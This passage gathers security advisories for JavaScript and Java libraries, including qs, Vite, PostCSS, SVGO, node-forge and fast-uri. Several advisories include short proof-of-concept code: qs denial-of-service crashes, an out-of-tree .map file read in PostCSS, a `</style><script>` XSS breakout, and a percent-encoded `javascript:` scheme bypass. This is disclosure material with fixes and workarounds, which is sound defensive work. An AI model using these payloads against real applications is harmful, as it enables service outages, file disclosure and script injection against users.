rather than on qs.
### Summary `qs.stringify` throws `TypeError` when called with `arrayFormat: 'comma'` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs's null-related options (`skipNulls`, `strictNullHandling`). ### Details In the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining: ```js obj = utils.maybeMap(obj, encoder); ``` `utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run. Same class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d ("encode comma values more consistently", PR #463, 2023-01-19), first released in v6.11.1. #### PoC ```js const qs = require('qs'); qs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true }); qs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true }); qs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true }); // TypeError: Cannot read properties of null (reading 'length') // at encode (lib/utils.js:195:13) // at Object.maybeMap (lib/utils.js:322:37) // at stringify (lib/stringify.js:145:25) ``` #### Fix `lib/stringify.js:145`, applied in 21f80b3 on `main` and released as v6.15.2: ```diff - obj = utils.maybeMap(obj, encoder); + obj = utils.maybeMap(obj, function (v) { + return v == null ? v : encoder(v); + }); ``` `null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(',')` step as-is. For `{ a: [null, 'b'] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(',') || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop. ### Affected versions `>=6.11.1 <6.15.2` — fixed in v6.15.2. The vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions. ### Impact Application code that calls `qs.stringify` with both `arrayFormat: 'comma'` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The "kills the worker process" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled. The vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`).
### Summary `qs.stringify()` calls `utils.isBuffer()` on every value it serializes, and `utils.isBuffer()` invokes `obj.constructor.isBuffer(obj)` without checking that it is callable. A value whose own `constructor.isBuffer` is a non-function makes `qs` call a non-callable and throw `TypeError`. Such a value is produced **by `qs.parse` itself** from an untrusted query string when `plainObjects: true` or `allowPrototypes: true` is set, so a pure-`qs` `parse` → `stringify` round-trip — no `JSON.parse` — turns an unauthenticated query string into an uncaught throw. An attacker-controlled `parse` input reaches the host application's availability asset — via `qs`'s own recommended `plainObjects` mitigation — and triggers an uncaught exception during a `parse` → `stringify` round-trip. ### Details `utils.isBuffer` runs at `lib/stringify.js:127` for every serialized value: ```js if (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... } ``` `utils.isBuffer` (`lib/utils.js:327-333`) invokes `obj.constructor.isBuffer` without verifying it is callable: ```js var isBuffer = function isBuffer(obj) { if (!obj || typeof obj !== 'object') { return false; } return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj)); }; ``` `constructor` and `isBuffer` are ordinary keys. `qs.parse` with `plainObjects: true` or `allowPrototypes: true` keeps them as own properties, so the parsed value carries a non-function `constructor.isBuffer`; `stringify` then calls a non-callable and throws `TypeError`. By contrast `utils.isRegExp` uses a brand check (`Object.prototype.toString`); the missing guard here is an internal inconsistency, not a platform limitation. ### Trust Boundary Note `qs.stringify` alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by **`qs.parse`, whose input is untrusted by design**. `qs.parse` normally strips a `constructor` key via its prototype guard, but with the documented options `plainObjects: true` or `allowPrototypes: true` the key survives and lands as an own property. Feeding the parsed object back into `qs.stringify` — the standard round-trip in gateways and request-forwarders — then hits the unchecked call. ### PoC `poc02c_isBuffer_qs_only_roundtrip.js` — pure-`qs` chain, no `JSON.parse`; an untrusted query string alone reaches the throw: ```js 'use strict'; var qs = require('qs'); var untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y var parsed = qs.parse(untrustedQueryString, { plainObjects: true }); console.log('[parse] kept constructor key:', JSON.stringify(parsed)); try { qs.stringify(parsed); console.log('[stringify] no throw (unexpected)'); } catch (e) { console.log('[stringify] DoS reproduced ->', e.constructor.name + ':', e.message); } ``` `poc02_isBuffer.js` — the minimal defect: ```js 'use strict'; var qs = require('qs'); try { qs.stringify(JSON.parse('{"a":{"constructor":{"isBuffer":"x"}}}')); } catch (e) { console.log('[A] DoS reproduced ->', e.constructor.name + ':', e.message); } ``` `poc02b_isBuffer_async_crash.js` — worker death in an async sink: ```js 'use strict'; var qs = require('qs'); function handleRequestAsync(clientJsonBody) { try { setImmediate(function () { // async continuation, outside the try qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught }); console.log('[handler] returned 200 synchronously; async work scheduled'); } catch (e) { console.log('[handler] caught synchronously (will NOT happen):', e.message); } } process.on('exit', function (code) { console.log('[proc] process exiting with code:', code); }); handleRequestAsync('{"filters":{"constructor":{"isBuffer":"x"}}}'); ``` ### Execution Steps ```bash cd poc npm install qs@6.15.3 node poc02c_isBuffer_qs_only_roundtrip.js # pure qs parse->stringify -> TypeError node poc02_isBuffer.js # minimal defect -> TypeError inside stringify node poc02b_isBuffer_async_crash.js # async sink -> uncaught throw -> exit code 1 ``` ### Reproduction Evidence `poc02c_isBuffer_qs_only_roundtrip.js` : ``` [parse] kept constructor key: {"x":{"constructor":{"isBuffer":"y"}}} [stringify] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function ``` `poc02_isBuffer.js`: ``` [A] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function ``` `poc02b_isBuffer_async_crash.js` : ``` [handler] returned 200 synchronously; async work scheduled [proc] process exiting with code: 1 TypeError: obj.constructor.isBuffer is not a function at Object.isBuffer (.../qs/lib/utils.js:332:78) at stringify (.../qs/lib/stringify.js:127:45) === EXIT CODE: 1 === ``` The pure-`qs` round-trip shows the malicious shape originates from `qs.parse` of an untrusted query string, with no `JSON.parse`. The synchronous `try/catch` in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker. ### Impact An unauthenticated request degrades any endpoint that re-serializes deserialized client data with `qs.stringify`. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on `qs`. ### Recommended Fix Replace the duck-type with a brand check mirroring `utils.isRegExp`: ```js var isBuffer = function isBuffer(obj) { if (!obj || typeof obj !== 'object') { return false; } if (typeof Buffer !== 'undefined' && typeof Buffer.isBuffer === 'function') { return Buffer.isBuffer(obj); } return Object.prototype.toString.call(obj) === '[object Uint8Array]'; }; ``` If duck-typing must remain, require `typeof obj.constructor.isBuffer === 'function'` before invoking and wrap the call in `try/catch`.
## Summary An attacker can force WebSocket upgrade via the lax V07 (or V08) handshaker by sending `Sec-WebSocket-Version: 7` and omitting `Connection: Upgrade` / `Upgrade: websocket` headers, completing a protocol switch that a proxy would not recognize as an Upgrade request and enabling HTTP request smuggling / protocol-confusion attacks.
### Summary Any files ending with `.map` even out side the project can be returned to the browser. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - have a sensitive content in files ending with `.map` and the path is predictable ### Details In Vite v7.3.1, the dev server’s handling of `.map` requests for optimized dependencies resolves file paths and calls `readFile` without restricting `../` segments in the URL. As a result, it is possible to bypass the [`server.fs.strict`](https://vite.dev/config/server-options#server-fs-strict) allow list and retrieve `.map` files located outside the project root, provided they can be parsed as valid source map JSON. ### PoC 1. Create a minimal PoC sourcemap outside the project root ```bash cat > /tmp/poc.map <<'EOF' {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""} EOF ``` 2. Start the Vite dev server (example) ```bash pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080 ``` 3. Confirm that direct `/@fs` access is blocked by `strict` (returns 403) <img width="4004" height="1038" alt="image" src="https://github.com/user-attachments/assets/15a859a8-1dc6-4105-8d58-80527c0dd9ab" /> 4. Inject `../` segments under the optimized deps `.map` URL prefix to reach `/tmp/poc.map` <img width="2790" height="846" alt="image" src="https://github.com/user-attachments/assets/5d02957d-2e6a-4c45-9819-3f024e0e81f2" />
### Summary **MITRE-Formatted CVE Description** An Integer Overflow (CWE-190) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures containing OIDs with oversized arcs. These arcs may be decoded as smaller, trusted OIDs due to 32-bit bitwise truncation, enabling the bypass of downstream OID-based security decisions. ### Description An ASN.1 OID Integer Truncation vulnerability exists in the node-forge `asn1.derToOid` function within `forge/lib/asn1.js`. OID components are decoded using JavaScript's bitwise left-shift operator (`<<`), which forcibly casts values to 32-bit signed integers. Consequently, if an attacker provides a mathematically unique, very large OID arc integer exceeding $2^{31}-1$, the value silently overflows and wraps around rather than throwing an error. ### Impact This vulnerability allows a specially crafted ASN.1 object to spoof an OID, where a malicious certificate with a massive, invalid OID is misinterpreted by the library as a trusted, standard OID, potentially bypassing security controls. This vulnerability impacts the `asn1.derToOid` function in `node-forge` before patched version `1.3.2`. Any downstream application using this component is impacted. This component may be leveraged by downstream applications in ways that enables partial compromise of integrity, leading to potential availability and confidentiality compromises.
### Summary The `arrayLimit` option in qs did not enforce limits for bracket notation (`a[]=1&a[]=2`), only for indexed notation (`a[0]=1`). This is a consistency bug; `arrayLimit` should apply uniformly across all array notations. **Note:** The default `parameterLimit` of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than `parameterLimit` regardless of `arrayLimit`, because each `a[]=value` consumes one parameter slot. The severity has been reduced accordingly. ### Details The `arrayLimit` option only checked limits for indexed notation (`a[0]=1&a[1]=2`) but did not enforce it for bracket notation (`a[]=1&a[]=2`). **Vulnerable code** (`lib/parse.js:159-162`): ```javascript if (root === '[]' && options.parseArrays) { obj = utils.combine([], leaf); // No arrayLimit check } ``` **Working code** (`lib/parse.js:175`): ```javascript else if (index <= options.arrayLimit) { // Limit checked here obj = []; obj[index] = leaf; } ``` The bracket notation handler at line 159 uses `utils.combine([], leaf)` without validating against `options.arrayLimit`, while indexed notation at line 175 checks `index <= options.arrayLimit` before creating arrays. ### PoC ```javascript const qs = require('qs'); const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 }); console.log(result.a.length); // Output: 6 (should be max 5) ``` **Note on parameterLimit interaction:** The original advisory's "DoS demonstration" claimed a length of 10,000, but `parameterLimit` (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000. ### Impact Consistency bug in `arrayLimit` enforcement. With default `parameterLimit`, the practical DoS risk is negligible since `parameterLimit` already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when `parameterLimit` is explicitly set to a very high value.
## Summary The fix for GHSA-6g55-p6wh-862q added a guard in `lib/previous-map.js` `PreviousMap.loadFile()` that restricts an attacker-controlled `sourceMappingURL` (from a CSS comment) to a `.map` extension and, for untrusted maps, rejects `..` traversal and absolute paths. The traversal/absolute rejection is nested inside `if (cssFile) { ... }`. When PostCSS is invoked without the `from` option, `cssFile` is falsy and that branch is skipped, leaving only the `.map` extension check. `PreviousMap` is constructed by `lib/input.js` whenever `pathAvailable && sourceMapAvailable` (under Node with source-map available), independent of `opts.from`/`opts.map` (the constructor returns early only for `opts.map === false`). So `postcss([]).process(css)` on attacker CSS reaches `loadFile` with `cssFile` undefined, and an attacker `/*# sourceMappingURL=/abs/path/x.map */` (or `../`-traversing path) is read via `readFileSync`. When the file is valid JSON, its `sources` (filesystem paths) and `sourcesContent` (source contents) are disclosed in the generated source map. ## Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix) ```js // lib/previous-map.js loadFile(path, cssFile, trusted) { if (!trusted && !this.unsafeMap) { if (!/\.map$/i.test(path)) { return undefined } if (cssFile) { // guard runs ONLY when `from` is set let relativePath = relative(dirname(cssFile), path) if (relativePath === '..' || relativePath.startsWith('..' + sep) || isAbsolute(relativePath)) { return undefined } } } this.root = dirname(path) if (existsSync(path)) { this.mapFile = path return readFileSync(path, 'utf-8').toString().trim() // sink } } // loadMap(): untrusted annotation path, trusted=false; file === opts.from } else if (this.annotation) { let map = this.annotation if (file) map = join(dirname(file), map) // no `from` -> map stays the raw URL let unknown = this.loadFile(map, file, false) // file undefined -> cssFile falsy ``` ## Proof of concept (verified on postcss 8.5.22) ```js const postcss = require('postcss') const fs = require('fs') // a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map) const secret = '/tmp/pcpoc/secret_out_of_tree.map' fs.writeFileSync(secret, JSON.stringify({ version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [], sourcesContent: ['TOP_SECRET_abcdef'] })) const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */' const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef') ;(async () => { // A) NO `from` -> guard skipped -> arbitrary absolute .map read + disclosed const a = await postcss([]).process(css, { map: true }) console.log('no from -> leaked:', !!leaks(a.map)) // true // B) WITH `from` -> guard active -> blocked const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true }) console.log('with from -> leaked:', !!leaks(b.map)) // false })() ``` Observed output on postcss 8.5.22: ``` no from -> leaked: true # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map with from -> leaked: false # guard rejects the absolute path ``` `../` traversal (no `from`) also succeeds; non-`.map` targets (`.txt`, `?x=.map`, `#.map`) are blocked by the `.map` check. The tested build contains the GHSA-6g55 fix (`this.json = JSON.parse(...)` in `loadMap`, `consumer()` uses `this.json || this.text`), so this is a residual of that fix. ## Impact Arbitrary `.map`-file read (absolute path or `../` traversal) and disclosure of the target map's `sources` (local filesystem paths) and `sourcesContent` (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a `from` option and exposes `result.map` (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in `.map` that parse as JSON. ## Suggested fix Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether `cssFile` is present (resolve against `process.cwd()` when there is no `cssFile`, and reject absolute paths and `..` escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.
### Impact If this library is used in tandem with the `permessage-deflate` extension, a WebSocket server or client can be made to accept messages that are larger than the configured maximum message size. This is because this limit is checked against the message frames' length headers, which give the size of the compressed data, not the size after decompression. This can lead to applications accepting larger messages than expected and exceeding their intended resource usage. ### Patches The issue has been patched in version 0.7.5, by checking the length of messages after they are processed by incoming extensions. All users should upgrade to this version. ### Workarounds No known workarounds exist. ### Acknowledgements This issue was discovered and reported by Pranjali Thakur, DepthFirst Security Research Team.
### Summary `qs.stringify` throws `TypeError` when called with `arrayFormat: 'comma'` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs's null-related options (`skipNulls`, `strictNullHandling`). ### Details In the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining: ```js obj = utils.maybeMap(obj, encoder); ``` `utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run. Same class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d ("encode comma values more consistently", PR #463, 2023-01-19), first released in v6.11.1. #### PoC ```js const qs = require('qs'); qs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true }); qs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true }); qs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true }); // TypeError: Cannot read properties of null (reading 'length') // at encode (lib/utils.js:195:13) // at Object.maybeMap (lib/utils.js:322:37) // at stringify (lib/stringify.js:145:25) ``` #### Fix `lib/stringify.js:145`, applied in 21f80b3 on `main`: ```diff - obj = utils.maybeMap(obj, encoder); + obj = utils.maybeMap(obj, function (v) { + return v == null ? v : encoder(v); + }); ``` `null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(',')` step as-is. For `{ a: [null, 'b'] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(',') || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop. ### Affected versions `>=6.11.1 <=6.15.1` The vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions. ### Impact Application code that calls `qs.stringify` with both `arrayFormat: 'comma'` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The "kills the worker process" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled. The vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`).
### Summary The `v3()`, `v5()`, and `v6()` [API methods](https://github.com/uuidjs/uuid#api-summary) (not `uuid` release versions) accept external output buffers but do not reject out-of-range writes (small `buf` or large `offset`). By contrast, `v4()`, `v1()`, and `v7()` API methods explicitly throw `RangeError` on invalid bounds. This inconsistency allows **silent partial writes** into caller-provided buffers. ### Affected code - `src/v35.ts` (`v3()`/`v5()` path) writes `buf[offset + i]` without bounds validation. - `src/v6.ts` writes `buf[offset + i]` without bounds validation. ### Reproducible PoC ```bash cd /home/StrawHat/uuid npm ci npm run build node --input-type=module -e " import {v4,v5,v6} from './dist-node/index.js'; const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8'; for (const [name,fn] of [ ['v4()',()=>v4({},new Uint8Array(8),4)], ['v5()',()=>v5('x',ns,new Uint8Array(8),4)], ['v6()',()=>v6({},new Uint8Array(8),4)], ]) { try { fn(); console.log(name,'NO_THROW'); } catch(e){ console.log(name,'THREW',e.name); } }" ``` Observed: - `v4() THREW RangeError` - `v5() NO_THROW` - `v6() NO_THROW` Example partial overwrite evidence captured during audit: ```text same true buf [ 170, 170, 170, 170, 75, 224, 100, 63 ] v6 [ 187, 187, 187, 187, 31, 19, 185, 64 ] ``` ### Security impact - **Primary**: integrity/robustness issue (silent partial output). - If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error. - In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw. ### Suggested fix Add the same guard used by `v4()`/`v1()`/`v7()`: ```ts if (offset < 0 || offset + 16 > buf.length) { throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`); } ``` Apply to: - `src/v35.ts` (covers `v3()` and `v5()`) - `src/v6.ts`
: Use of a Broken or Risky Cryptographic Algorithm vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcpkix on all (pkix modules). PKIX draft CompositeVerifier accepts empty signature sequence as valid. This issue affects BC-JAVA: from 1.49 before 1.84.
Babel is a compiler for writing next generation JavaScript. When using versions of Babel prior to 7.26.10 and 8.0.0-alpha.17 to compile regular expression named capturing groups, Babel will generate a polyfill for the `.replace` method that has quadratic complexity on some specific replacement pattern strings (i.e. the second argument passed to `.replace`). Generated code is vulnerable if all the following conditions are true: Using Babel to compile regular expression named capturing groups, using the `.replace` method on a regular expression that contains named capturing groups, and the code using untrusted strings as the second argument of `.replace`. This problem has been fixed in `@babel/helpers` and `@babel/runtime` 7.26.10 and 8.0.0-alpha.17. It's likely that individual users do not directly depend on `@babel/helpers`, and instead depend on `@babel/core` (which itself depends on `@babel/helpers`). Upgrading to `@babel/core` 7.26.10 is not required, but it guarantees use of a new enough `@babel/helpers` version. Note that just updating Babel dependencies is not enough; one will also need to re-compile the code. No known workarounds are available.
### Impact When using Babel to compile [regular expression named capturing groups](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Named_capturing_group), Babel will generate a polyfill for the `.replace` method that has quadratic complexity on some specific replacement pattern strings (i.e. the second argument passed to `.replace`). Your generated code is vulnerable if _all_ the following conditions are true: - You use Babel to compile [regular expression named capturing groups](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Named_capturing_group) - You use the `.replace` method on a regular expression that contains named capturing groups - **Your code uses untrusted strings as the second argument of `.replace`** If you are using `@babel/preset-env` with the [`targets`](https://babeljs.io/docs/options#targets) option, the transform that injects the vulnerable code is automatically enabled if: - you use [_duplicated_ named capturing groups](https://github.com/tc39/proposal-duplicate-named-capturing-groups), and target any browser older than Chrome/Edge 126, Opera 112, Firefox 129, Safari 17.4, or Node.js 23 - you use any [named capturing groups](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Named_capturing_group), and target any browser older than Chrome 64, Opera 71, Edge 79, Firefox 78, Safari 11.1, or Node.js 10 You can verify what transforms `@babel/preset-env` is using by enabling the [`debug` option](https://babeljs.io/docs/babel-preset-env#debug). ### Patches This problem has been fixed in `@babel/helpers` and `@babel/runtime` 7.26.10 and 8.0.0-alpha.17, please upgrade. It's likely that you do not directly depend on `@babel/helpers`, and instead you depend on `@babel/core` (which itself depends on `@babel/helpers`). Upgrading to `@babel/core` 7.26.10 is not required, but it guarantees that you are on a new enough `@babel/helpers` version. Please note that just updating your Babel dependencies is not enough: you will also need to re-compile your code. ### Workarounds If you are passing user-provided strings as the second argument of `.replace` on regular expressions that contain named capturing groups, validate the input and make sure it does not contain the substring `$<` if it's then not followed by `>` (possibly with other characters in between). ### References This vulnerability was reported and fixed in https://github.com/babel/babel/pull/17173.
Stack traces in Grafana's Explore Traces view can be rendered as raw HTML, and thus inject malicious JavaScript in the browser. This would require malicious JavaScript to be entered into the stack trace field. Only datasources with the Jaeger HTTP API appear to be affected; Jaeger gRPC and Tempo do not appear affected whatsoever.
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Versions prior to 8.5.10 do not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS. Version 8.5.10 fixes the issue.
SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 1.0.0 until versions 2.8.4, 3.3.5, and 4.1.0, the opt-in removeScripts plugin, named removeScriptElement in versions 2 and 3 and implemented in plugins/removeScripts.js, removes SVG and XHTML script elements but does not inspect executable HTML content inside SVG foreignObject elements. Event-handler attributes such as onload and onbeforetoggle, srcdoc documents, and executable URLs in the action, data, formaction, href, and src attributes can remain in attacker-controlled SVG input. When an application uses the plugin as its only protection and serves the optimized SVG in an active browser context, the payload can execute script in the viewer's origin, expose data, modify content, or perform actions as the victim. This issue is fixed in versions 2.8.4, 3.3.5, and 4.1.0.
## Summary SVGO's opt-in `removeScripts` plugin did not inspect executable HTML content inside SVG `<foreignObject>` elements. Applications that used this plugin as their only protection for untrusted SVG input could produce SVGs containing active HTML and expose users to cross-site scripting (XSS). SVGO is an optimizer rather than a comprehensive sanitization library, but `removeScripts` is maintained for consumers that already rely on it to remove common script execution paths. ## Details Although the plugin removed SVG and XHTML `<script>` elements, it left other HTML execution paths inside `<foreignObject>` unchanged. These included: - event-handler attributes such as `onload` and `onbeforetoggle`; - `srcdoc` documents, including on `<iframe>` elements; - executable URLs in HTML attributes such as `action`, `data`, `formaction`, `href`, and `src`. An attacker could place one of these payloads in an SVG. If an application optimized the untrusted SVG with `removeScripts` and then served the result in an active browser context, the payload could execute in the viewer's origin. ## Impact Successful exploitation could allow script execution in the context where the optimized SVG is rendered. Depending on the embedding and origin configuration, this could expose cookies or local storage, modify content, or perform actions as the victim. The plugin is opt-in, so consumers that do not enable `removeScripts` are not relying on the affected behavior. Typical local optimization of trusted SVG files is not affected. ## Patches Upgrade to one of the following releases for the maintained release line in use: | Release line | Patched version | Plugin | | --- | --- | --- | | v2 | 2.8.4 | `removeScriptElement` | | v3 | 3.3.5 | `removeScriptElement` | | v4 | 4.1.0 | `removeScripts` | The fix preserves visual HTML inside SVG `<foreignObject>` elements while removing event attributes, `srcdoc`, and executable URL values from active HTML URL attributes. SVGO v1 is no longer maintained. Users of v1 should upgrade to a supported release line. ## Workarounds For hostile input, use a dedicated SVG sanitization tool before passing the SVG to SVGO. As defense in depth, applications can reject or remove `<foreignObject>` content and avoid serving user-controlled SVGs in an active same-origin context.
# PostCSS: XSS via Unescaped `</style>` in CSS Stringify Output ## Summary PostCSS v8.5.5 (latest) does not escape `</style>` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `<style>` tags, `</style>` in CSS values breaks out of the style context, enabling XSS. ## Proof of Concept ```javascript const postcss = require('postcss'); // Parse user CSS and re-stringify for page embedding const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }'; const ast = postcss.parse(userCSS); const output = ast.toResult().css; const html = `<style>${output}</style>`; console.log(html); // <style>body { content: "</style><script>alert(1)</script><style>"; }</style> // // Browser: </style> closes the style tag, <script> executes ``` **Tested output** (Node.js v22, postcss v8.5.5): ``` Input: body { content: "</style><script>alert(1)</script><style>"; } Output: body { content: "</style><script>alert(1)</script><style>"; } Contains </style>: true ``` ## Impact Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website. ## Suggested Fix Escape `</style` in all stringified output values: ```javascript output = output.replace(/<\/(style)/gi, '<\\/$1'); ``` ## Credits Discovered and reported by [Sunil Kumar](https://tharvid.in) ([@TharVid](https://github.com/TharVid))
### Impact `fast-uri` percent-decodes the scheme component with the legacy global `unescape()` before validating it, so an input whose decoded scheme is a valid but dangerous token is emitted as a live scheme. RFC 3986 section 3.1 does not allow percent-encoding in a scheme, so no RFC or WHATWG parser treats such input as having that scheme, but `fast-uri` does. For example, `normalize('%6Aavascript:alert(1)')` returns `javascript:alert(1)`, `resolve('https://a.example/', '%6Aavascript:alert(1)')` returns `javascript:alert(1)`, and `parse('%6Aavascript:alert(1)').scheme` returns `javascript`. The `%uXXXX` form (`%u006Aavascript:`) produces the same result, and `equal('%68ttp://a/', 'http://a/')` returns `true`. An application that screens dangerous schemes on the raw input and then stores or renders `normalize(input)` or `resolve(base, input)` turns an inert string into an executable `javascript:`, `data:`, or `vbscript:` URL, a stored or reflected cross-site scripting vector in the consuming application. `equal()` also treats an encoded and a plain scheme as the same, which can bypass equality-based allowlists. ### Patches Upgrade to `fast-uri` `2.4.8`, `3.1.9`, or `4.2.3`. ### Workarounds Reject input whose scheme part (before the first `:`, and before any `/`, `?`, or `#`) contains `%`. Alternatively, check `parse(x).scheme` against an allowlist after normalization and use that same parsed result rather than the raw string.
Vite is a frontend tooling framework for javascript. Prior to 6.2.6, 6.1.5, 6.0.15, 5.4.18, and 4.5.13, the contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun. HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2. On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) and running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun) are affected. This vulnerability is fixed in 6.2.6, 6.1.5, 6.0.15, 5.4.18, and 4.5.13.
Vite is a frontend tooling framework for javascript. Prior to versions 6.3.4, 6.2.7, 6.1.6, 5.4.19, and 4.5.14, the contents of files in the project root that are denied by a file matching pattern can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. Only files that are under project root and are denied by a file matching pattern can be bypassed. `server.fs.deny` can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass for files under `root` by using a combination of slash and dot (/.). This issue has been patched in versions 6.3.4, 6.2.7, 6.1.6, 5.4.19, and 4.5.14.
